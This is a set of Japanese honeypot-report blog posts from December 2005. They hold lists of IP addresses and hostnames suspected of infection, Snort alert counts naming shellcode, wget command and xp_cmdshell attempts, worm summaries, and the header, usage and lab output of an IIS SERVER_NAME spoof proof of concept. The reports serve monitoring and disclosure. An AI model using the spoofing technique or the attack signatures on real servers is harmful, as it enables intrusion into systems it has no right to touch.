0310 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0320 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0330 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0340 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0350 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0360 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0370 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0380 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0390 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................

【サイバー犯罪事件簿】2005年12月24日クリスマス

----------------------------
■あまてらす
----------------------------

あまてすです。クリスマスですね。昨日は、教会に行って賛美歌を聞いてきました。

これこそ本当のクリスマスの過ごし方、王道ですね♪で「クリスマス」語源て何？という疑問が・・・

クリスマスとは、英語の Christmas の語源は、「キリストのミサ」（Christ + mas）にある。

Xmas（X'mas は誤記）という表記は、ヘブライ語のメシア（油注がれた者）のギリシャ語訳である「キリスト」の原表記「Χριστος」の頭文字をそのままとってＸを「Christ」を表す略記であるそうです。

あと、現在のサンタクロースの赤い服て何？

回答：司祭服の色に由来する、もしくはコカ・コーラ社が作ったものだと言われているようです。

＜出展＞

http://www.mainichi-msn.co.jp/kokusai/america/news/20051222ddm007030060000c.html

http://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AA%E3%82%B9%E3%83%9E%E3%82%B9

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.44.110.110 110.110.44.61.fbb.aol.co.jp
61.87.43.201 201.43.87.61.ap.seikyou.ne.jp
61.89.216.184 catv61-89-216-184.sensyu.ne.jp
61.116.94.154 YKMfa-02p1-154.ppp11.odn.ad.jp
61.116.141.169 SKNfa-03p2-169.ppp11.odn.ad.jp
61.121.11.86 ntszok082086.szok.nt.ftth.ppp.infoweb.ne.jp
61.121.50.50 nthkid023050.hkid.nt.adsl.ppp.infoweb.ne.jp
61.124.252.159 ntaich034159.aich.nt.adsl.ppp.infoweb.ne.jp
61.192.80.222 zaq3dc050de.zaq.ne.jp
61.193.244.46 usr044.bb156-01.udk.im.wakwak.ne.jp
61.196.60.178 HRDfa-01p4-178.ppp11.odn.ad.jp
61.197.100.110 pl622.nas926.okayama.nttpc.ne.jp
61.199.127.241 p4241-ipad01obiyama.kumamoto.ocn.ne.jp
61.203.57.195 FLA1Aac195.stm.mesh.ad.jp
61.203.228.145 145.061203228.m-net.ne.jp
61.205.51.170 170.51.205.61.west.flets.alpha-net.ne.jp
61.205.52.155 155.52.205.61.west.flets.alpha-net.ne.jp
61.205.93.199 61-205-93-199.eonet.ne.jp
61.205.155.53 zaq3dcd9b35.zaq.ne.jp
61.205.245.206 usr010.bb005-01.udb.im.wakwak.ne.jp
61.207.58.57 p1057-ipad01okidate.aomori.ocn.ne.jp
61.207.165.64 p1064-ipbf21marunouchi.tokyo.ocn.ne.jp
61.207.186.18 p2018-ipad01matuyama.ehime.ocn.ne.jp
61.210.16.167 ntoska129167.oska.nt.adsl.ppp.infoweb.ne.jp
61.211.35.64 pd32340.tokynt01.ap.so-net.ne.jp
61.211.37.119 pd32577.tokynt01.ap.so-net.ne.jp
61.213.70.35 j070035.ppp.asahi-net.or.jp
61.213.70.181 j070181.ppp.asahi-net.or.jp
61.213.71.53 j071053.ppp.asahi-net.or.jp
61.213.72.71 j072071.ppp.asahi-net.or.jp
61.213.72.213 j072213.ppp.asahi-net.or.jp
61.213.73.135 j073135.ppp.asahi-net.or.jp
61.213.75.30 j075030.ppp.asahi-net.or.jp
61.213.99.46 j099046.ppp.asahi-net.or.jp
61.213.109.176 j109176.ppp.asahi-net.or.jp
61.213.110.141 j110141.ppp.asahi-net.or.jp
61.213.116.166 j116166.ppp.asahi-net.or.jp
61.213.117.235 j117235.ppp.asahi-net.or.jp
61.213.197.80 b197080.usr.starcat.ne.jp
61.213.212.193 b-fa3-5193.noc.ntt-west.nsk.ne.jp
61.213.213.31 ppm131.noc.kanazawa.nsk.ne.jp
210.143.111.146
219.122.135.25 219-122-135-25.eonet.ne.jp
220.107.52.200 p5200-ipad66osakakita.osaka.ocn.ne.jp
222.158.176.85 tetkyo070085.tkyo.te.ftth2.ppp.infoweb.ne.jp

■Report
- Honeynet: 192.168.37.0/24
- Starting Date: 20051224 (inclusive)
- Ending Date: 20051225 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.AIe10509

Total pcap records processed: 4,396
Total snort records processed: 849

========================================
Summary
=======

Remote IP Count: 371
Ports Scanned: 64

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 1409 7410 5673 662560 505780
Outbound 448 17529 17529 17230353 17230353

Total Snort SIDs: 22
Total Snort Alerts: 849

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
377 2 (spp_stream4) possible EVASIVE RST detection
269 402 ICMP Destination Unreachable Port Unreachable
45 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
32 1390 SHELLCODE x86 inc ebx NOOP
20 2466 NETBIOS SMB-DS IPC$ unicode share access
19 2472 NETBIOS SMB-DS C$ unicode share access
17 2351 NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode
13 895 WEB-CGI redirect access
12 2924 NETBIOS SMB-DS repeated logon failure
9 1330 WEB-ATTACKS wget command attempt
6 1042 WEB-IIS view source via translate header

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
377 2 (spp_stream4) possible EVASIVE RST detection
269 402 ICMP Destination Unreachable Port Unreachable
2 648 SHELLCODE x86 NOOP
3 687 MS-SQL xp_cmdshell - program execution
13 895 WEB-CGI redirect access
6 1042 WEB-IIS view source via translate header
9 1330 WEB-ATTACKS wget command attempt
32 1390 SHELLCODE x86 inc ebx NOOP
2 1852 WEB-MISC robots.txt access
4 2002 WEB-PHP remote include path
2 2003 MS-SQL Worm propagation attempt
2 2004 MS-SQL Worm propagation attempt OUTBOUND
2 2049 MS-SQL ping attempt
2 2050 MS-SQL version overflow attempt
5 2251 NETBIOS DCERPC Remote Activation bind attempt
17 2351 NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode
45 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
20 2466 NETBIOS SMB-DS IPC$ unicode share access
19 2472 NETBIOS SMB-DS C$ unicode share access
12 2924 NETBIOS SMB-DS repeated logon failure
1 3003 NETBIOS SMB-DS Session Setup NTMLSSP unicode asn1 overflow attempt
5 3276 NETBIOS DCERPC IActivation little endian bind attempt

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/139 3215 191306 304
tcp/445 6144 537872 280
tcp/135 1396 56894 162
udp/1026 152 69255 141
udp/1027 138 62811 129
tcp/80 931 196559 128
tcp/6881 192 0 76
tcp/1433 482 22019 43
udp/137 56 9828 18
tcp/4899 76 0 16


ハニーネットプロジェクト, 園田道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【Proventia】HTTP_Skype

■シグネチャの説明

http://xforce.iss.net/xforce/xfdb/16252

■References
PestPatrol Web site
Skype
http://www.pestpatrol.com/pestinfo/s/skype.asp

■検知イベント

■パケット（Skype2.0BETA）

GET /ui/0/1.4.0.84/ja/getlatestversion?ver=1.4.0.84&uhash=163e57355f5b77fd72808174b0cd58d4e HTTP/1.1

User-Agent: Skype. 1.4

Host: ui.skype.com

Cache-Control: no-cache

Cookie: SC=LC=ja:CCY=:CC=:TZ=:VER=0/1.4.0.84/:TS=1135438814:TM=1135438685

HTTP/1.1 200 OK

Date: Sat, 24 Dec 2005 15:42:47 GMT

Server: Apache

Last-Modified: Tue, 25 Oct 2005 23:05:25 GMT

ETag: "1b0109-9-2ccb3740"

Accept-Ranges: bytes

Content-Length: 9

Connection: close

Content-Type: text/plain; charset=utf-8

Content-Language: en

1.4.0.79


ハニーネットプロジェクト, 園田道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【サイバー犯罪事件簿】2005年12月23日

----------------------------
■あまてらす
----------------------------

今日は、年越しに備えて昼頃から大掃除をしています。窓拭きふきふき♪

掃除機かけかけ♪といい運動になります。そのあと「HOT FANTASY ODAIBA」の

22Fフォーラムにある電車男ワールドへいきました。(弁明：友達の結婚式の帰りにたまたま、いって見ました。）ミーナカフェ（コスチュームカフェ）というものがあり、コスプレミーナの女性と記念に一枚写真でもと思ったら、そこにある。2000円のパフェを注文しないとコスプレミーナと一緒に写真が取れないという秋葉系ビジネスモデルが・・・存在・・・　ありえね～～え!!

※詳細：http://wwwz.fujitv.co.jp/fantasy/area_main.html#forum_01

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.125.123.130 zaq3d7d7b82.zaq.ne.jp
61.125.127.111 zaq3d7d7f6f.zaq.ne.jp
61.125.194.210 i194210.ppp.asahi-net.or.jp
61.125.195.119 i195119.ppp.asahi-net.or.jp
61.125.200.78 i200078.ppp.asahi-net.or.jp
61.125.203.51 i203051.ppp.asahi-net.or.jp
61.125.204.76 i204076.ppp.asahi-net.or.jp
61.125.240.158 i240158.ppp.asahi-net.or.jp
61.125.249.190 i249190.ppp.asahi-net.or.jp
61.125.252.19 i252019.ppp.asahi-net.or.jp
61.125.253.58 i253058.ppp.asahi-net.or.jp
61.125.253.80 i253080.ppp.asahi-net.or.jp
61.192.80.222 zaq3dc050de.zaq.ne.jp
61.193.104.201 FLA1Aak201.stm.mesh.ad.jp
61.196.60.178 HRDfa-01p4-178.ppp11.odn.ad.jp
61.199.106.242 p1241-ipbf01fukuokachu.fukuoka.ocn.ne.jp
61.199.202.51 yellow.h-tribe-unet.ocn.ne.jp
61.201.162.206 TYOnni-17p174.ppp12.odn.ad.jp
61.203.39.147 FLA1Aab147.aic.mesh.ad.jp
61.203.57.195 FLA1Aac195.stm.mesh.ad.jp
61.205.52.155 155.52.205.61.west.flets.alpha-net.ne.jp
61.205.93.199 61-205-93-199.eonet.ne.jp
61.205.155.53 zaq3dcd9b35.zaq.ne.jp
61.207.165.64 p1064-ipbf21marunouchi.tokyo.ocn.ne.jp
61.207.186.18 p2018-ipad01matuyama.ehime.ocn.ne.jp
61.210.1.39 ntaich023039.aich.nt.adsl.ppp.infoweb.ne.jp
61.211.137.226 a137226.usr.starcat.ne.jp
61.213.70.177 j070177.ppp.asahi-net.or.jp
61.213.75.15 j075015.ppp.asahi-net.or.jp
61.213.75.30 j075030.ppp.asahi-net.or.jp
61.213.99.46 j099046.ppp.asahi-net.or.jp
61.213.109.176 j109176.ppp.asahi-net.or.jp
61.213.110.141 j110141.ppp.asahi-net.or.jp
61.213.116.166 j116166.ppp.asahi-net.or.jp
61.213.212.193 b-fa3-5193.noc.ntt-west.nsk.ne.jp
61.213.212.223 b-fa3-5223.noc.ntt-west.nsk.ne.jp
61.213.213.31 ppm131.noc.kanazawa.nsk.ne.jp
61.214.206.131 p2131-ipad01kamokounan.kagoshima.ocn.ne.jp
220.107.52.200 p5200-ipad66osakakita.osaka.ocn.ne.jp

========================================

Report

========================================
- Honeynet: 192.168.37.0/24
- Starting Date: 20051223 (inclusive)
- Ending Date: 20051224 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.KxxM4538

Total pcap records processed: 7,048
Total snort records processed: 2,004

========================================
Summary
=======

Remote IP Count: 248
Ports Scanned: 45

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 2217 13363 11036 1013141 579830
Outbound 198 7931 7931 9861440 9861440

Total Snort SIDs: 22
Total Snort Alerts: 2004

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
917 2 (spp_stream4) possible EVASIVE RST detection
369 402 ICMP Destination Unreachable Port Unreachable
312 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
167 1390 SHELLCODE x86 inc ebx NOOP
56 2466 NETBIOS SMB-DS IPC$ unicode share access
46 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
30 2924 NETBIOS SMB-DS repeated logon failure
27 2472 NETBIOS SMB-DS C$ unicode share access
12 1288 WEB-FRONTPAGE /_vti_bin/ access
9 648 SHELLCODE x86 NOOP
8 3276 NETBIOS DCERPC IActivation little endian bind attempt

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
917 2 (spp_stream4) possible EVASIVE RST detection
1 16 (spp_stream4) TCP CHECKSUM CHANGED ON RETRANSMISSION (possible fragroute) detection
369 402 ICMP Destination Unreachable Port Unreachable
2 538 NETBIOS SMB IPC$ unicode share access
9 648 SHELLCODE x86 NOOP
6 687 MS-SQL xp_cmdshell - program execution
8 895 WEB-CGI redirect access
7 1042 WEB-IIS view source via translate header
12 1288 WEB-FRONTPAGE /_vti_bin/ access
167 1390 SHELLCODE x86 inc ebx NOOP
3 1852 WEB-MISC robots.txt access
4 2049 MS-SQL ping attempt
2 2123 ATTACK-RESPONSES Microsoft cmd.exe banner
8 2251 NETBIOS DCERPC Remote Activation bind attempt
46 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
312 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
6 2436 WEB-CLIENT Microsoft wmf metafile access
56 2466 NETBIOS SMB-DS IPC$ unicode share access
27 2472 NETBIOS SMB-DS C$ unicode share access
4 2923 NETBIOS SMB repeated logon failure
30 2924 NETBIOS SMB-DS repeated logon failure
8 3276 NETBIOS DCERPC IActivation little endian bind attempt

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/1433 9835 58779 589
tcp/139 4122 301788 512
tcp/445 7763 961514 429
udp/1026 176 79510 166
tcp/135 1290 32096 160
udp/1027 141 63762 136
tcp/80 439 59843 69
tcp/6881 85 0 31
tcp/4899 106 0 20
udp/137 26 4563 14


ハニーネットプロジェクト, 園田道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【サイバー犯罪事件簿】2005年12月19日-24日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

2005年12月19日 http://ameblo.jp/amaterasu/entry-10007243870.html

2005年12月20日 http://ameblo.jp/amaterasu/entry-10007276420.html
2005年12月21日 http://ameblo.jp/amaterasu/entry-10007307413.html
2005年12月22日 http://ameblo.jp/amaterasu/entry-10007340847.html

2005年12月23日 http://ameblo.jp/amaterasu/entry-10007371410.html

----------------------------
■MS05-051の脆弱性を利用した攻撃
----------------------------
■検知内容
この攻撃は、主に中国を送信元とした攻撃を確認しております。この攻撃のパケット内容から感染に必要なプログラムは確認されておりません。攻撃に対する影響として、サービスが停止する事を確認しております。また、今後この攻撃がBotワームに発展する可能性があるため、注意深く観察していく必要があります。

■攻撃の詳細

http://ameblo.jp/amaterasu/entry-10006985800.html

■感染ホスト

優先度	シグネチャ名	送信元件数	攻撃件数
High	MSRPC_MSDTC_Message_BO	9	39

----------------------------
■PHPおよびAwstasts脆弱性に対する攻撃
----------------------------
PHPで利用される XML_RPCの脆弱性を利用した攻撃および、Awstasts(Webインターフェースを持つフリーのログ解析ツール)
に対する攻撃です。攻撃の内容を分析すると、Linux上で稼動しているApache PHPの組み合わせをターゲットにしたもので、
UNIX系のシステムをターゲットとした、ワームまたはボットによる攻撃で、感染が広がっている状況にあると考えられます。

■攻撃の詳細

http://ameblo.jp/amaterasu/entry-10006960722.html

■感染ホスト

優先度	シグネチャ名	感染件数	攻撃件数
High	HTTP_AWStats_ConfigDir_Exec	2	6
High	XML_RPC_PHP_CmdExec 7 58	2	20

----------------------------
■MS05-039脆弱性に対する攻撃
----------------------------
プラグアンドプレイサービスは、デバイスのインストール、設定、および新規デバイスの通知を担当する
Windows DCE-RPC サービスです。最近のバージョンの Windowsオペレーティングシステムでは、このサービス
が自動的に起動し、デフォルト設定で動作します。この脆弱性を利用したbotワームも確認されております。

■攻撃の詳細

http://ameblo.jp/amaterasu/entry-10007130733.html

■感染ホスト

優先度	シグネチャ名	感染件数	攻撃件数
High	PlugAndPlay_BO	45	64

----------------------------
■botワームの検知状況
----------------------------
■検知内容
このワームは、アクセス可能なネットワーク共有、またはセキュリティが不十分なネットワーク共有で繁殖します。MS04-007の弱性を悪用します。
亜種のいくつかは、リモートのIRCサーバに接続して、特定のIRCチャネルに参加しようとします。接続すると、ボットとして機能し、ハッカーからのリモートコマンドを待ちます。亜種によって機能はさまざまですが、
一般的には、他のリモートファイルをダウンロードして実行しようとします。

■攻撃の詳細

N/A

■感染ホスト

優先度	シグネチャ名	感染件数	攻撃件数
High	ASN1_Constr_BitStr_Heap_Corruption	120	854

-------------------------------------
■Blaster(bot)ワームの検知状況
-------------------------------------
■検知内容
自宅ハニーポッドサーバに対して、Microsoft RPC サービスの脆弱点MS03-039に対する攻撃を検知しました。
送信元IPアドレスは、恐らくこの脆弱性を利用して拡散するBlaster(bot)ワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■攻撃の詳細

N/A

■感染ホスト　

優先度	シグネチャ名	感染件数	攻撃件数
High	MSRPC_RemoteActivate_Bo	139	447

----------------------------
■Sasserワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。Sasserワームによる攻撃の検知状況についてお知らせします。Sasser.Worm は、マイクロソフトセキュリティ情報 MS04-011 で解説されている脆弱性の悪用を試みるワームです。このワームは、ランダムに選択された IP アドレスを持つコンピュータをスキャンすることによって、上述の脆弱性に未対応のシステムを探し出して拡散します。
送信元IPアドレスは、恐らくSasserワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■攻撃の詳細

N/A

■感染ホスト

優先度	シグネチャ名	感染件数	攻撃件数
High	MSRPC_LSASS_Bo	3	7

-------------------------------------
■Slammerワームの検知状況
-------------------------------------
■検知内容
自宅のハニーポッドサーバに対して、SQL Server2000のMS02-039脆弱性を利用した、攻撃を検知しました。送信元IPアドレスは、この脆弱性を利用して拡散を行う、Slammerワームに感染していると思われます。
読者の皆様は、以下のホスト一覧に、管理されているグローバルIPアドレスが含まれていないか確認をお願いいたします。含まれている場合は、至急ウィルススキャンなどを実施される事をお勧めいたします。

■脆弱性の詳細情報
http://www.microsoft.com/japan/technet/security/bulletin/MS02-039.mspx

■感染ホスト一覧

優先度	シグネチャ名	感染件数	攻撃件数
High	SQL_SSRP_Slammer_Worm	48	70

----------------------------
■SMBへのパスワードクラッキングの検知状況
----------------------------
■検知内容
アカウントとしては、administratorおよびgestアカウントなどに対して、ランダムなIPアドレスからSMBのサービスが起動しているサーバを探し出し、パスワードクラッキングしてログインしようとする試みになります。一般的にユーザがよく使われるパスワードのリストを持っていて、そのパスワードで次々にログインを試みる。推測されやすいパスワードを設定している場合は、侵入を許してしまうことになる。
読者の皆様は、以下のホスト一覧に、管理されているグローバルIPアドレスが含まれていないか確認をお願いいたします。含まれている場合は、至急ウィルススキャンなどを実施される事をお勧めいたします。

■攻撃の詳細

N/A

■感染ホスト

優先度	シグネチャ名	送信元件数	攻撃件数	コメント
High	SMB_Empty_Password_Failed	30	4197	ブランクパスワードによるアクセス
High	SMB_Guessable_Password	0	0	同一のパスワードとアカウントによるアクセス

----------------------------
■MessengerServiceを利用したスパムの検知状況
----------------------------
■検知内容
自宅のハニーポッドサーバに対して、マイクロソフトのMessenger Serviceを利用した、スパムメッセージを検知しました。

■攻撃の詳細

N/A

■送信元IPアドレス

優先度	シグネチャ名	送信元件数	検知件数
Low	MSRPC_Popup_Message	69	1646


ハニーネットプロジェクト, 園田道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【MS】IIS 5.0 (500-100.asp) Server Name Spoof

/*
====================================================================================
|| ## ####### ## ## ## ####### ####### ## ## ## ||
|| ## ## ## ## ## ######## ## ## ######## ## ## ||
|| ## ##### ######## ### ## ####### ####### ## #### ||
|| ## ## ## ## ## ## ## ### ## ## ## ||
|| ###### ####### ## ## ####### ####### ### ## ## ## ||
====================================================================================

Name: IIS 5.x and IIS 6.0 Server Name Spoof PoC
File: IIS_5.x_and_IIS_6.0_Server_Name_Spoof.c
Description: Proof of concept
Author: Lympex
Contact:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Date: 25/08/2005
Extra: Compiled with Visual C++ 6.0

################################################################################################################
#Remote IIS 5.x and IIS 6.0 Server Name Spoof
#
#It is possible to remotely spoof the "SERVER_NAME" Microsoftｮ Internet Information Serverｮ 5.0, 5.1 and 6.0
#server variable by doing a modified HTTP request. Thus potentially revealing sensitive ASP code through the
#IIS 500-100.asp error page, the spoof also opens up a potential range of exploits in third party web
#applications and web services.
#
#Technical Description
#Microsoftｮ IIS 5.x ｮ shows sensitive information if the "SERVER_NAME" IIS 5.x server variable is "localhost".
#If a IIS 5.x ASP page has an error, the code on the fault line in the ASP page is shown in the browser,
#but only if"SERVER_NAME" IIS server variable is "localhost". One can spoof the "SERVER_NAME" IIS server
#variable so that it shows whatever one want. Other third party web applications or web services may also
#be vulnerable if authentication depends on the validity this server variable. IIS 6.0 is vulnerable to the
#spoof, but it's 500-100.asp page is not vulnerable.
#
#The IIS server variable that can be spoofed is the "SERVER_NAME", it can be accessed through
#request.servervariables("SERVER_NAME") with ASP, and HttpContext.Current.Request.ServerVariables("SERVER_NAME")
#with .NET, other programming languages have other methods to access this server variable, but are
#equally vulnerable.
#
#If the HTTP request comes from a remote client, then the server variable "SERVER_NAME" returns the IP
#address of the web server itself. If the HTTP request came from the same IP as the web server (thus the
#request came from the an authenticated user browsing from the web server itself), then
#request.servervariables("SERVER_NAME") returns "localhost". This fact is used as "proof" in web applications
#or web services that the person browsing the web server is in fact browsing from the web server itself.
#The web applications or web services may use this proof to display an administrative interface to the web
#browser user if such is the case. One exploitable example is the IIS 5.x 500-100.asp page(Note: the
#IIS 6.0 500-100.asp page is no vulnerable); the page uses the server variable to determine if to display
#the code where the error occurred.
#
#The technical description of the server variable is "The server's host name, DNS alias, or IP address as
#it would appear in self-referencing URLs", it is therefore often used to determine the IP address of the
#web server itself in once code, this opens up for a range of exploits including cookie-stealing, data
#redirection, and other URL manipulation issues.
#
#There are many other applications that utilize validity of this server variable, and MSDN holds many
#examples for developers that are easily exploitable with this bug; among the most serious are the
#Microsoftｮ .NET Passport SDK examples, any web application or web service based on these examples are
#probably vulnerable due to the bug.
################################################################################################################
*/

実証コード

C:\C>IIS_5.x_and_IIS_6.0_Server_Name_Spoof.exe

Proof of Concept
IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex
Contact: lympex[at]gmail[dot]com - http://l-bytes.tk
----------------------------------------------------

[+] Usage: IIS_5.x_and_IIS_6.0_Server_Name_Spoof.exe server.com 80 /test.asp

C:\C>IIS_5.x_and_IIS_6.0_Server_Name_Spoof.exe 192.168.221.180 80 /test.asp

Proof of Concept
IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex
Contact: lympex[at]gmail[dot]com - http://l-bytes.tk
----------------------------------------------------

[+] Connected!

[+] Received data, saved in: "received_data.txt"

C:\C>

received_data.txt

HTTP/1.1 404 Object Not Found

Server: Microsoft-IIS/5.0

Date: Sat, 24 Dec 2005 16:04:50 GMT

Content-Type: text/html

Content-Length: 3243

Prvenita

2005-12-24 08:03:37 JST	HTTP_Get	1712	192.168.221.11	192.168.221.180		192.168.221.180		80	1712	192.168.221.11	localhost	http	3000002	/test.asp	6	1712	80
2005-12-24 08:03:39 JST	HTTP_Server_ID	1712	192.168.221.11	192.168.221.11	Microsoft-IIS/5.0	192.168.221.180	http	1712	1712	192.168.221.180			3000001		6	80	80
2005-12-24 08:05:31 JST	HTTP_Get	1716	192.168.221.11	192.168.221.180		192.168.221.180		80	1716	192.168.221.11	localhost	http	3000002	/test.asp	6	1716	80
2005-12-24 08:05:31 JST	HTTP_Server_ID	1716	192.168.221.11	192.168.221.11	Microsoft-IIS/5.0	192.168.221.180	http	1716	1716	192.168.221.180			3000001		6	80	80

■Snort

なし


ハニーネットプロジェクト, 園田道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析